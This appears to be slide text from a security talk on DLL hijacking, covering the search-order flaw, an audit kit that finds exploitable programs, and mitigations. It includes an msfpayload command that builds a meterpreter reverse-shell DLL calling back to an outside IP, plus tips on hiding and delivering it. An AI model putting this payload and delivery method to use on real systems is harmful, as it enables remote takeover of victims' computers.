How To Become a Hijacking Terrorist

DLL Hijacking for fun and profit

DLL Hijacking Overview

DLL Hijacking: Trick a program to use a malicious DLL instead of the normal DLL

HDM found that when opening a file associated to a program, the file will look in the local path for the referenced DLLs of the program before looking inside the correct location of the associated executable

PCAP Example - Normal

PCAP Example - Hijacked

DLL Hijacking

Old trick – new dog Linux removed “.” from $PATH Client side, WebDAV, or remote SMB

share Widely exploitable Easy to detect

DLLHijackAuditKit

Automates the detection Generates test scenarios for each file

extension and automatically creates an exploitable file

Searches every extension

Demo

Audit.js

Download procmon from sysinternals Opens procmon and filters for operations that begins with

"IRP_MJ_" or "FASTIO_". Use WMI to query the local system and file all the possible

file extensions it can handle Generate test cases for each file scenario. Make a dummy

file with the word “Howdy…” in it named after the extension being tested

Automatically open each file from command line While opening, log file system activity in procmon Wait a few seconds and then close out the program and try

the next file When you get all done, you need to save the procmon file as

LogFile.csv. This logfile will have the executable related to the file that was opened and also the path that it tried to look for a DLL.

Analyze.js

Parses the LogFile.csv for the executable and the DLL that it was looking for (wireshark.exe and airpcap.dll)

Generate test scenarios and copy in a dummy DLL named after the real DLL it’s looking for.

run the file again if it is successful, the DLL will create a txt

file named exploit.txt Repeat this step for each EXE and DLL pair

to verify which are actively exploitable

Real World Attack Scenario Generate Payload:

msfpayload windows/meterpreter/reverse_tcp LHOST=66.66.66.66 LPORT=4242 D > exploit.dll

Rename to the DLL that the EXE is looking for

Put the DLL in the same folder as a file with an associated extension

Deliver file and DLL

Tricks

Use the Hidden attribute Obfuscate with lots of other files MSFEncode the payload Create a link to a subfolder Road Apples Host a SMB share on the net! Create a WebDAV share

Mitigation

Admins: Microsoft tool to catch illegal DLL

references http://support.microsoft.com/kb/2264107 CWDIllegalInDllSearch registry

Disable WebDAV Disable outbound SMB (139 445)Developers: Load DLL’s securely

References

http://www.microsoft.com/technet/security/advisory/2269637.mspx

http://blog.metasploit.com/2010/08/better-faster-stronger.html

0day (AFAIK)

RDP .dll